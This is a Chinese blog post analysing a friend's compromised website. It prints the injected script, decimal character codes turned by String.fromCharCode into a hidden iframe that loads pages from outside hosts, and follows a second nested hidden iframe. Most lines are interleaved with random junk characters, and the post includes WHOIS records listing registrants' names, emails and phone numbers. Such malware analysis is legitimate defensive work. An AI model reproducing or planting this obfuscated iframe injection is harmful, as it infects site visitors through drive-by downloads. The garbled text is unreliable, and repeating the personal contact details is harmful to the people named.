首发在我的博客里面，
%J-0%-/_S: T)I)r239h http://www.areway.cn/?p=175 gf8o~vKX$G %evb.h) aNu.4c/ 5 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
I^k&v V @)h>vg <script>t=’60,105,102,114,97,109,101,
06Wqfzceb 32,115,114,99,61,104,116,116,112,58,47,47,
$4g {4-) 102,114,101,101,46,117,45,117,117,117,46,99,
o^2MfFS 110,47,101,114,114,111,114,46,104,116,109,
Yt#;
+*d5 32,119,105,100,116,104,61,49,48,48,32,104,
F0_w9"3E~ 101,105,103,104,116,61,48,62,60,47,105,102,
fU|v[ 114,97,109,101,62′;
V _~lME t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
Jd7chIK M99ku' <script>t=’60,105,102,114,97,109,101,32,115,
gf>H-718F 114,99,61,104,116,116,112,58,47,47,102,114,
Kfb(wW 101,101,46,117,45,117,117,117,46,99,110,47,
[j/ |)cj 101,114,114,111,114,46,104,116,109,32,119,
mQ`atFz:Z 105,100,116,104,61,49,48,48,32,104,101,105,
wY ItG"+6 103,104,116,61,48,62,60,47,105,102,114,97,
T9$~tv,5F 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
R*bx&..< document.write(t);</script>
sP Qj B[ S~:uOm2t\ <html xmlns=”
c"tlNf ? http://www.w3.org/1999/xhtml yQ/O[( “>
dUa>XkPa\2 <head>
/g>-s&w <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
y%vAEQ2j= <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
`0ym3} (O <title>首页 - 爱生活家庭网
)] q Qgc& X(/fE?%; 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
E\D,= |Mul 转换字符串后的大概内容是（谁点击后果自付）：
Zo2+{a <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
H4`>B>\ .pPuBJL]< 查询玉米u-uuu.cn的详细信息：
-}<R u) Domain Name: u-uuu.cn
!k%
PP ROID: 20070901s10001s64972306-cn
o}r _+\n Domain Status: ok
!IR
cv
a Registrant Organization: 王雷
?n{m2.H Registrant Name: 王雷
+/celp Administrative Email:
czlovexs@126.com k 5K5O pY Sponsoring Registrar: 北京万网志成科技有限公司
$ H+X'1 Name Server:ns.yovole.com
^J> m4` Name Server:ns1.yovole.com
ng+sK Registration Date: 2007-09-01 17:54
<|k :% Expiration Date: 2008-09-01 17:54
.b_ppieNY 最后PING了一下地址 都没有什么….
y2+f)Xp_.C O D7A(28 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
0B8Wf/j?M <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
BTwc(oL <script language=”javascript” src=”
ngZq]8 =o http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script KgM|:' >
<k8WnA ~Fl 这个玉米应该有可能是木马作者的：
T +T)~!{% foafau.info的详细信息：
F1BvDplQ>G Access to INFO WHOIS information is provided to assist persons in
wowf 1j- determining the contents of a domain name registration record in the
>QYx9`x& Afilias registry database. The data in this record is provided by
F_:W u,dUZ Afilias Limited for informational purposes only, and Afilias does not
cr -5t4<jK guarantee its accuracy. This service is intended only for query-based
KJJ :fG8' access. You agree that you will use this data only for lawful purposes
{wM<i and that, under no circumstances will you use this data to: (a) allow,
X E_Lz2H` enable, or otherwise support the transmission by e-mail, telephone, or
lfb+ )s facsimile of mass unsolicited, commercial advertising or solicitations
#akJhy@m$ to entities other than the data recipient’s own existing customers; or
Xbmsq,*] (b) enable high volume, automated, electronic processes that send
M{orw;1Isy queries or data to the systems of Registry Operator, a Registrar, or
O-7)"
Afilias except as reasonably necessary to register domain names or
j xI;cl r modify existing registrations. All rights reserved. Afilias reserves
Ju#j%! the right to modify these terms at any time. By submitting this query,
lS Y " you agree to abide by this policy.
HgW!Q(* Domain ID:D22418703-LRMS
j7E;\AZ^ Domain Name:FOAFAU.INFO
vKW!;U9~P Created On:20-Nov-2007 16:05:42 UTC
k(Xs&f
` Last Updated On:20-Nov-2007 16:05:44 UTC
'eBD/w5U Expiration Date:20-Nov-2008 16:05:42 UTC
4r_*: $g Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
)0 E_Y@ Status:CLIENT DELETE PROHIBITED
'%/=\Q` Status:CLIENT RENEW PROHIBITED
y(<{e~ Status:CLIENT TRANSFER PROHIBITED
AVLY|79# Status:CLIENT UPDATE PROHIBITED
tt-ci,X+ Status:TRANSFER PROHIBITED
MzB.Vvsy%9 Registrant ID:GODA-040110615
<LH6my Registrant Name:liu hong
\YJQN3^46> Registrant Organization:
&;?+ ^L> Registrant Street1:beijing
tH; 6 Mp;f Registrant Street2:
%`pi*/( Registrant Street3:
^!
h3#4 Registrant City:beijing
Kn$t_7AF^ Registrant State/Province:
?`Z:vqp>Z Registrant Postal Code:100000
{Pe&J2
+ Registrant Country:CN
7_3
PM
3C Registrant Phone:+86.860108888777
M^\`~{*T Registrant Phone Ext.:
1E!.E=Y ?M Registrant FAX:
ylos6]zS8 Registrant FAX Ext.:
-}4CY\d 6' Registrant Email:bbbshiji@163.com
H[: lQ\ Admin ID:GODA-240110615
,#BD/dF Admin Name:liu hong
sK W~+ ] Admin Organization:
{9;-5@b Admin Street1:beijing
*6<4ECa7C Admin Street2:
).GM 0-y Admin Street3:
whe% o Admin City:beijing
lE%KzX?& Admin State/Province:
H/`@6, j Admin Postal Code:100000
A- m IWTa Admin Country:CN
o_=4Ex
" Admin Phone:+86.860108888777
@Oz3A<M Admin Phone Ext.:
P=}dR&gk' Admin FAX:
!/H ` Admin FAX Ext.:
:Nf(:D8 Admin Email:bbbshiji@163.com
unFm~rcf Billing ID:GODA-340110615
U.Vn|s(`z Billing Name:liu hong
5h Sd,#: Billing Organization:
#s(ob `0| Billing Street1:beijing
bZUw^{~)D Billing Street2:
OR+_s @Yg Billing Street3:
&b,A-1`w_ Billing City:beijing
QsPg4y3?D Billing State/Province:
f
uU" Billing Postal Code:100000
r2tE!gMC Billing Country:CN
j0oto6z~b Billing Phone:+86.860108888777
Qt\:A!'jw Billing Phone Ext.:
9 a@S^B> Billing FAX:
P//nYPyzg Billing FAX Ext.:
^PE|BCs Billing Email:bbbshiji@163.com
( bsywM Tech ID:GODA-140110615
yz,_\{} Tech Name:liu hong
L;g2ZoqIr0 Tech Organization:
^-Arfm%dn Tech Street1:beijing
{4SaS v^/ Tech Street2:
0iC5, Tech Street3:
*!%n`BR ' Tech City:beijing
sRBfLN2C Tech State/Province:
:{S@KsPqE Tech Postal Code:100000
.K-d Tech Country:CN
7Q'u>o Tech Phone:+86.860108888777
p;7w H\c Tech Phone Ext.:
L~h:>I+pG Tech FAX:
7s%1?$B Tech FAX Ext.:
vMX \q
Tech Email:bbbshiji@163.com
~ m vv
:u Name Server:NS27.DOMAINCONTROL.COM
n(LO`{ Name Server:NS28.DOMAINCONTROL.COM
[vuikJP>1k Name Server:
im+g |9@% Name Server:
H_S"4I SS_ Name Server:
}jce5E Name Server:
^wSGrV' Name Server:
\I6F;G6 Name Server:
I4ZbM nO Name Server:
6^jrv [d Name Server:
s! D?% Name Server:
xh<{lZ)KJ Name Server:
3HR)H-@6@7 Name Server:
1x/ R QT F1~A\ 接着下载每个文件里面的代码：
HnFH|H<Uf 一步一步看..
Q A~F
L{;Q6_m 
(I;81h`1G 
QCDica `+* 
o[ JZ>nm 
T^ +K`U 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
